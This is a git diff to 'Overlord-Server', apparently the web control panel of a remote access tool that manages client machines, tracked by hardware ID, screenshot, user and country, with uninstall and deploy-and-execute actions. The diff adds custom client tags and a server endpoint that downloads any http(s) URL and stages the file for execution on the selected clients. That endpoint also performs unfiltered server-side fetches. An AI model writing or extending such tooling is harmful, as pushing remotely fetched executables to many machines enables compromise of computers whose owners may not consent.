diff --git a/Overlord-Server/public/assets/deploy.js b/Overlord-Server/public/assets/deploy.js index 9973769..3c8296f 100644 --- a/Overlord-Server/public/assets/deploy.js +++ b/Overlord-Server/public/assets/deploy.js @@ -15,6 +15,37 @@ const updateBtn = document.getElementById("update-btn"); const outputContainer = document.getElementById("output-container"); const clearOutputBtn = document.getElementById("clear-output-btn"); +const tabUpload = document.getElementById("tab-upload"); +const tabUrl = document.getElementById("tab-url"); +const panelUpload = document.getElementById("panel-upload"); +const panelUrl = document.getElementById("panel-url"); +const urlInput = document.getElementById("url-input"); +const fetchUrlBtn = document.getElementById("fetch-url-btn"); + +let activeTab = "upload"; + +function switchTab(tab) { + activeTab = tab; + if (tab === "upload") { + tabUpload.classList.add("bg-slate-700", "text-slate-100"); + tabUpload.classList.remove("text-slate-400"); + tabUrl.classList.remove("bg-slate-700", "text-slate-100"); + tabUrl.classList.add("text-slate-400"); + panelUpload.classList.remove("hidden"); + panelUrl.classList.add("hidden"); + } else { + tabUrl.classList.add("bg-slate-700", "text-slate-100"); + tabUrl.classList.remove("text-slate-400"); + tabUpload.classList.remove("bg-slate-700", "text-slate-100"); + tabUpload.classList.add("text-slate-400"); + panelUrl.classList.remove("hidden"); + panelUpload.classList.add("hidden"); + } +} + +tabUpload.addEventListener("click", () => switchTab("upload")); +tabUrl.addEventListener("click", () => switchTab("url")); + let allClients = []; let filteredClients = []; const selectedClients = new Set(); @@ -338,6 +369,64 @@ async function uploadFile(file) { } } +async function fetchFromUrl() { + const rawUrl = urlInput.value.trim(); + if (!rawUrl) { + setUploadStatus("Please enter a URL", "text-red-400"); + return; + } + + setUploadStatus("Downloading from URL...", "text-blue-400"); + fetchUrlBtn.disabled = true; + executeBtn.disabled = true; + + try { + const res = await fetch("/api/deploy/fetch-url", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ url: rawUrl }), + }); + + if (!res.ok) { + const text = await res.text(); + setUploadStatus(text || "Fetch failed", "text-red-400"); + return; + } + + const data = await res.json(); + if (!data.ok) { + setUploadStatus(data.error || "Fetch failed", "text-red-400"); + return; + } + + uploaded = data; + allowedOs = data.os || "unknown"; + const sizeBytes = Number(data.size ?? 0); + setUploadStatus(`Fetched ${data.name} (${formatBytes(sizeBytes)})`, "text-emerald-400"); + setOsBadge(allowedOs); + + filterAndRenderClients(); + Array.from(selectedClients).forEach((clientId) => { + const client = allClients.find((c) => c.id === clientId); + if (!client || !matchesClientOs(client.os || "", allowedOs)) { + selectedClients.delete(clientId); + } + }); + renderClients(); + updateSelectedCount(); + } catch (error) { + console.error("URL fetch failed:", error); + setUploadStatus("Fetch failed", "text-red-400"); + } finally { + fetchUrlBtn.disabled = false; + } +} + +fetchUrlBtn.addEventListener("click", fetchFromUrl); +urlInput.addEventListener("keydown", (e) => { + if (e.key === "Enter") fetchFromUrl(); +}); + executeBtn.addEventListener("click", async () => { if (selectedClients.size === 0) { alert("Please select at least one client"); diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 154e2b2..369ea1f 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -103,6 +103,62 @@ function getClientCard(clientId) { return document.querySelector(`article[data-id="${selectorId}"]`); } +function openTagNoteEditor(clientId, currentTag, currentNote) { + return new Promise((resolve) => { + const overlay = document.createElement("div"); + overlay.className = + "fixed inset-0 z-[10001] bg-black/70 backdrop-blur-sm flex items-center justify-center p-4"; + overlay.innerHTML = ` +
+

Custom Tag

+

+ + + + +
+ +
+ + +
+
+
+ `; + + const clientLabel = overlay.querySelector("#tag-editor-client"); + if (clientLabel) clientLabel.textContent = clientId; + const tagInput = overlay.querySelector("#tag-editor-input"); + if (tagInput) tagInput.value = currentTag || ""; + const textarea = overlay.querySelector("#tag-editor-note"); + textarea.value = currentNote || ""; + + const closeWith = (result) => { + overlay.remove(); + resolve(result); + }; + + overlay.addEventListener("click", (e) => { + if (e.target === overlay) closeWith(null); + }); + + overlay + .querySelector("#tag-editor-cancel") + ?.addEventListener("click", () => closeWith(null)); + overlay + .querySelector("#tag-editor-clear") + ?.addEventListener("click", () => closeWith({ tag: "", note: "" })); + overlay.querySelector("#tag-editor-save")?.addEventListener("click", () => { + const tag = String(overlay.querySelector("#tag-editor-input")?.value || "").trim(); + const note = String(overlay.querySelector("#tag-editor-note")?.value || ""); + closeWith({ tag, note }); + }); + + document.body.appendChild(overlay); + overlay.querySelector("#tag-editor-input")?.focus(); + }); +} + function isClientOnline(clientId) { return getClientCard(clientId)?.dataset.online === "true"; } @@ -575,6 +631,27 @@ window.setClientNickname = async (clientId, nickname) => { } }; +window.setClientTag = async (clientId, tag, note) => { + if (!clientId) return false; + try { + const res = await fetch(`/api/clients/${clientId}/tag`, { + method: "PATCH", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ tag: tag || "", note: note ?? "" }), + }); + if (!res.ok) { + const data = await res.json().catch(() => ({})); + alert(data.error || "Failed to update custom tag"); + return false; + } + return true; + } catch (err) { + console.error(err); + alert("Failed to update custom tag"); + return false; + } +}; + window.banClient = async (clientId) => { if (!clientId) return; if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return; @@ -771,6 +848,26 @@ menu.addEventListener("click", async (e) => { } closeMenu(clearContext); return; + } else if (action === "set-custom-tag") { + const card = getClientCard(contextCard); + const currentTag = (card?.dataset.customTag || "").trim(); + const currentNote = card?._customTagNote || ""; + const result = await openTagNoteEditor(contextCard, currentTag, currentNote); + if (!result) { + closeMenu(clearContext); + return; + } + + const updated = await window.setClientTag( + contextCard, + result.tag || "", + result.note || "", + ); + if (updated) { + setTimeout(() => loadWithOptions({ force: true }), 200); + } + closeMenu(clearContext); + return; } if (!isClientOnline(contextCard)) { diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index 4109ba1..4b4d7cd 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -206,10 +206,13 @@ export function createRenderer({ function updateCard(card, client) { const oldCheckbox = card.querySelector(".client-checkbox"); const wasChecked = oldCheckbox?.checked || false; + const wasTagNoteExpanded = card.dataset.tagNoteExpanded === "true"; card.dataset.online = String(!!client.online); card.dataset.os = String(client.os || "").toLowerCase(); card.dataset.nickname = String(client.nickname || ""); + card.dataset.customTag = String(client.customTag || ""); + card._customTagNote = String(client.customTagNote || ""); const os = osBadge(client.os || "unknown"); const arch = archBadge(client.arch || ""); const ver = versionBadge(client.version || ""); @@ -217,7 +220,12 @@ export function createRenderer({ const deviceId = shortId(client.id); const hwid = shortId(client.hwid || ""); const nickname = String(client.nickname || "").trim(); + const customTag = String(client.customTag || "").trim(); + const customTagNote = String(client.customTagNote || ""); const displayName = nickname || client.host || deviceId; + const hasTagNote = customTag.length > 0 && customTagNote.length > 0; + const isTagNoteExpanded = hasTagNote && wasTagNoteExpanded; + card.dataset.tagNoteExpanded = isTagNoteExpanded ? "true" : "false"; card.className = `card rounded-xl border border-slate-800 bg-slate-900/70 p-4 shadow-lg ${client.online ? "" : "card-offline"} tone-${os.tone}`; const cardThumb = client.thumbnail ? (() => { @@ -249,12 +257,14 @@ export function createRenderer({ ${countryToFlag(client.country)} ${escapeHtml(displayName)} ${nickname && client.host ? ` ${escapeHtml(client.host)}` : ""} + ${customTag ? `` : ""} ${escapeHtml(client.user || "unknown")} ${client.online ? "Online" : "Offline"} + ${hasTagNote ? `
${escapeHtml(customTagNote)}
` : ""}
${formatAgo(client.lastSeen)} ${os.label} @@ -313,6 +323,21 @@ export function createRenderer({ }); } + card.querySelector(".client-tag-toggle")?.addEventListener("click", (e) => { + e.stopPropagation(); + const notePanel = card.querySelector(".client-tag-note"); + if (!notePanel) return; + const expanded = notePanel.classList.toggle("hidden") === false; + card.dataset.tagNoteExpanded = expanded ? "true" : "false"; + const tagToggle = card.querySelector(".client-tag-toggle"); + tagToggle?.setAttribute("aria-expanded", expanded ? "true" : "false"); + const chevron = tagToggle?.querySelector(".fa-chevron-up, .fa-chevron-down"); + if (chevron) { + chevron.classList.toggle("fa-chevron-up", expanded); + chevron.classList.toggle("fa-chevron-down", !expanded); + } + }); + card .querySelector(".thumb-img") ?.addEventListener("click", () => openModal(client.thumbnail)); diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 760f61e..052d3a8 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -43,6 +43,7 @@ const MENU_GROUPS = [ { label: "Ping", icon: "fa-solid fa-satellite-dish", icolor: "text-slate-300", action: "ping" }, { label: "Reconnect", icon: "fa-solid fa-rotate", icolor: "text-slate-300", action: "reconnect" }, { label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" }, + { label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" }, { divider: true }, { label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" }, { label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" }, diff --git a/Overlord-Server/public/assets/utils.js b/Overlord-Server/public/assets/utils.js index 095bd6c..ec3814c 100644 --- a/Overlord-Server/public/assets/utils.js +++ b/Overlord-Server/public/assets/utils.js @@ -15,6 +15,8 @@ export function digestData(data, { page, pageSize, searchTerm, sort }) { ping: c.pingMs, host: c.host, user: c.user, + customTag: c.customTag, + customTagNote: c.customTagNote, thumbnail: c.thumbnail, version: c.version, country: c.country, diff --git a/Overlord-Server/public/deploy.html b/Overlord-Server/public/deploy.html index fb58005..eaea8e3 100644 --- a/Overlord-Server/public/deploy.html +++ b/Overlord-Server/public/deploy.html @@ -105,24 +105,54 @@
- -
-
-
- -
-
-
Drag & drop an installer
-
or click to select a file
-
-
- + +
+ +
+ + +
+
+
+
+ +
+
+
Drag & drop an installer
+
or click to select a file
+
+
+ +
+
+ + + +
No file uploaded yet.
diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index 78faa3f..e7e072a 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -21,6 +21,8 @@ db.run(` version TEXT, user TEXT, nickname TEXT, + custom_tag TEXT, + custom_tag_note TEXT, monitors INTEGER, country TEXT, last_seen INTEGER, @@ -40,6 +42,12 @@ try { try { db.run(`ALTER TABLE clients ADD COLUMN nickname TEXT`); } catch {} +try { + db.run(`ALTER TABLE clients ADD COLUMN custom_tag TEXT`); +} catch {} +try { + db.run(`ALTER TABLE clients ADD COLUMN custom_tag_note TEXT`); +} catch {} db.run( `CREATE INDEX IF NOT EXISTS idx_clients_online_last_seen ON clients(online, last_seen DESC);`, ); @@ -133,8 +141,8 @@ export function upsertClientRow( ) { const now = partial.lastSeen ?? Date.now(); db.run( - `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, monitors, country, last_seen, online, ping_ms) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) ON CONFLICT(id) DO UPDATE SET hwid=COALESCE(excluded.hwid, clients.hwid), role=COALESCE(excluded.role, clients.role), @@ -145,6 +153,8 @@ export function upsertClientRow( version=COALESCE(excluded.version, clients.version), user=COALESCE(excluded.user, clients.user), nickname=clients.nickname, + custom_tag=clients.custom_tag, + custom_tag_note=clients.custom_tag_note, monitors=COALESCE(excluded.monitors, clients.monitors), country=COALESCE(excluded.country, clients.country), last_seen=excluded.last_seen, @@ -160,6 +170,9 @@ export function upsertClientRow( partial.arch ?? null, partial.version ?? null, partial.user ?? null, + partial.nickname ?? null, + partial.customTag ?? null, + partial.customTagNote ?? null, partial.monitors ?? null, partial.country ?? null, now, @@ -209,6 +222,22 @@ export function getClientNickname(id: string): string | null { return row?.nickname ?? null; } +export function setClientTag( + id: string, + tag: string | null, + note: string | null, +): boolean { + const normalizedTag = tag && tag.trim() ? tag.trim() : null; + const normalizedNote = normalizedTag ? note ?? null : null; + const result = db.run( + `UPDATE clients SET custom_tag=?, custom_tag_note=? WHERE id=?`, + normalizedTag, + normalizedNote, + id, + ); + return ((result as any)?.changes || 0) > 0; +} + export function getClientIp(id: string): string | null { const row = db.query<{ ip: string }>(`SELECT ip FROM clients WHERE id=?`).get(id); return row?.ip || null; @@ -273,10 +302,10 @@ export function listClients(filters: ListFilters): ListResult { if (search) { where.push( - "(LOWER(COALESCE(host,'')) LIKE ? OR LOWER(COALESCE(user,'')) LIKE ? OR LOWER(COALESCE(nickname,'')) LIKE ? OR LOWER(id) LIKE ?)", + "(LOWER(COALESCE(host,'')) LIKE ? OR LOWER(COALESCE(user,'')) LIKE ? OR LOWER(COALESCE(nickname,'')) LIKE ? OR LOWER(COALESCE(custom_tag,'')) LIKE ? OR LOWER(COALESCE(custom_tag_note,'')) LIKE ? OR LOWER(id) LIKE ?)", ); const needle = `%${search}%`; - params.push(needle, needle, needle, needle); + params.push(needle, needle, needle, needle, needle, needle); } if (statusFilter === "online") { @@ -333,7 +362,7 @@ export function listClients(filters: ListFilters): ListResult { const rows = db .query( - `SELECT id, hwid, role, host, os, arch, version, user, nickname, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs + `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs FROM clients ${whereSql} ${orderBy} @@ -352,6 +381,8 @@ export function listClients(filters: ListFilters): ListResult { version: c.version || "0", user: c.user, nickname: c.nickname || null, + customTag: c.customTag || null, + customTagNote: c.customTagNote ?? null, monitors: c.monitors, country: c.country || "ZZ", pingMs: c.pingMs ?? null, diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index fc74f74..267f4fc 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -12,6 +12,7 @@ import { listBannedIps, listClients, setClientNickname, + setClientTag, setOnlineState, unbanIp, } from "../../db"; @@ -334,6 +335,69 @@ export async function handleClientRoutes( return Response.json({ ok: true, nickname }, { headers: deps.CORS_HEADERS }); } + const clientTagMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/tag$/); + if (req.method === "PATCH" && clientTagMatch) { + const user = await authenticateRequest(req); + if (!user) return new Response("Unauthorized", { status: 401 }); + + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + const targetId = clientTagMatch[1]; + if (!canUserAccessClient(user.userId, user.role, targetId)) { + return new Response("Forbidden: Client access denied", { status: 403 }); + } + if (!clientExists(targetId)) { + return Response.json({ error: "Client not found" }, { status: 404 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ error: "Invalid JSON body" }, { status: 400 }); + } + + const rawTag = typeof body?.tag === "string" ? body.tag : ""; + const rawNote = typeof body?.note === "string" ? body.note : ""; + const tag = rawTag.trim(); + if (tag.length > 64) { + return Response.json( + { error: "Tag must be 64 characters or fewer" }, + { status: 400 }, + ); + } + + const normalizedTag = tag.length ? tag : null; + const note = normalizedTag ? rawNote : null; + const updated = setClientTag(targetId, normalizedTag, note); + if (!updated) { + return Response.json({ error: "Client not found" }, { status: 404 }); + } + + const ip = server.requestIP(req)?.address || "unknown"; + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.COMMAND, + targetClientId: targetId, + details: normalizedTag + ? `set_custom_tag:${normalizedTag} (note_len=${note?.length || 0})` + : "clear_custom_tag", + success: true, + }); + + return Response.json( + { ok: true, tag: normalizedTag, note: note ?? null }, + { headers: deps.CORS_HEADERS }, + ); + } + if (req.method === "POST") { const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/); if (cmdMatch) { diff --git a/Overlord-Server/src/server/routes/deploy-routes.ts b/Overlord-Server/src/server/routes/deploy-routes.ts index 6b73856..471f5a9 100644 --- a/Overlord-Server/src/server/routes/deploy-routes.ts +++ b/Overlord-Server/src/server/routes/deploy-routes.ts @@ -81,6 +81,71 @@ export async function handleDeployRoutes( return Response.json({ ok: true, uploadId: id, os, name: filename, size: bytes.length }); } + if (req.method === "POST" && url.pathname === "/api/deploy/fetch-url") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const fileUrl = typeof body?.url === "string" ? body.url.trim() : ""; + if (!fileUrl) { + return new Response("Missing url", { status: 400 }); + } + + let parsed: URL; + try { + parsed = new URL(fileUrl); + } catch { + return new Response("Invalid URL", { status: 400 }); + } + if (parsed.protocol !== "http:" && parsed.protocol !== "https:") { + return new Response("Only http and https URLs are allowed", { status: 400 }); + } + + const rawFilename = path.basename(parsed.pathname) || "download.bin"; + const filename = rawFilename.replace(/[^a-zA-Z0-9._\-]/g, "_").substring(0, 128) || "download.bin"; + + let fileBytes: Uint8Array; + try { + const fetchRes = await fetch(fileUrl); + if (!fetchRes.ok) { + return new Response(`Remote fetch failed: ${fetchRes.status}`, { status: 502 }); + } + fileBytes = new Uint8Array(await fetchRes.arrayBuffer()); + } catch (err: any) { + return new Response(`Failed to fetch URL: ${err?.message || "network error"}`, { status: 502 }); + } + + const id = uuidv4(); + await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true }); + const folder = path.join(deps.DEPLOY_ROOT, id); + await fs.mkdir(folder, { recursive: true }); + const targetPath = path.join(folder, filename); + await fs.writeFile(targetPath, fileBytes); + + const os = deps.detectUploadOs(filename, fileBytes); + const entry: DeployUpload = { + id, + path: targetPath, + name: filename, + size: fileBytes.length, + os, + }; + deps.deployUploads.set(id, entry); + + return Response.json({ ok: true, uploadId: id, os, name: filename, size: fileBytes.length }); + } + if (req.method === "POST" && url.pathname === "/api/deploy/run") { const user = await authenticateRequest(req); if (!user) { diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts index c01f29c..51ae26c 100644 --- a/Overlord-Server/src/types.ts +++ b/Overlord-Server/src/types.ts @@ -16,6 +16,8 @@ export type ClientInfo = { version?: string; user?: string; nickname?: string; + customTag?: string; + customTagNote?: string; monitors?: number; monitorInfo?: { width: number; height: number }[]; country?: string;